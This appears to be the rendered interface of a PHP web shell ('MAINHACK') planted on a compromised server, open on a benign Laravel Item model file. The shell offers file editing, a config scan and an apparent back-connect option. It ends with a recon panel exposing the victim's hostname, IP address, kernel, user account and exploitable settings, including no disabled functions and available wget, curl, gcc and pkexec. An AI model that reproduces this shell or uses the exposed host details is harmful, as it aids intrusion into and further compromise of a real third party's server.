[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Item.php
<?php namespace App\Models; use Carbon\Carbon; use App\Enums\Status; use Spatie\MediaLibrary\HasMedia; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\InteractsWithMedia; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Database\Eloquent\Factories\HasFactory; use Spatie\MediaLibrary\MediaCollections\Models\Media; class Item extends Model implements HasMedia { use HasFactory, InteractsWithMedia, SoftDeletes; protected $table = "items"; protected $fillable = [ 'name', 'item_category_id', 'slug', 'tax_id', 'item_type', 'price', 'is_featured', 'description', 'caution', 'status', 'order', ]; protected $dates = ['deleted_at']; protected $casts = [ 'id' => 'integer', 'name' => 'string', 'item_category_id' => 'integer', 'slug' => 'string', 'tax_id' => 'integer', 'item_type' => 'integer', 'price' => 'decimal:6', 'is_featured' => 'integer', 'description' => 'string', 'caution' => 'string', 'status' => 'integer', 'order' => 'integer', ]; public function getThumbAttribute(): string { if (!empty($this->getFirstMediaUrl('item'))) { $item = $this->getMedia('item')->last(); return $item->getUrl('thumb'); } return asset('images/item/thumb.png'); } public function getCoverAttribute(): string { if (!empty($this->getFirstMediaUrl('item'))) { $item = $this->getMedia('item')->last(); return $item->getUrl('cover'); } return asset('images/item/cover.png'); } public function getPreviewAttribute(): string { if (!empty($this->getFirstMediaUrl('item'))) { $item = $this->getMedia('item')->last(); return $item->getUrl('preview'); } return asset('images/item/cover.png'); } public function registerMediaConversions(Media $media = null): void { $this->addMediaConversion('thumb')->crop('crop-center', 168, 180)->keepOriginalImageFormat()->sharpen(10); $this->addMediaConversion('cover')->crop('crop-center', 390, 270)->keepOriginalImageFormat()->sharpen(10); $this->addMediaConversion('preview')->width(600)->keepOriginalImageFormat()->sharpen(10); } public function variations(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(ItemVariation::class)->with('itemAttribute')->where(['status' => Status::ACTIVE]); } public function extras(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(ItemExtra::class)->where(['status' => Status::ACTIVE]); } public function addons(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(ItemAddon::class); } public function category(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(ItemCategory::class, 'item_category_id', 'id'); } public function tax(): \Illuminate\Database\Eloquent\Relations\BelongsTo { return $this->belongsTo(Tax::class); } public function orders(): \Illuminate\Database\Eloquent\Relations\HasMany { return $this->hasMany(OrderItem::class, 'item_id', 'id'); } public function offer(): \Illuminate\Database\Eloquent\Relations\BelongsToMany { return $this->belongsToMany(Offer::class, 'offer_items'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002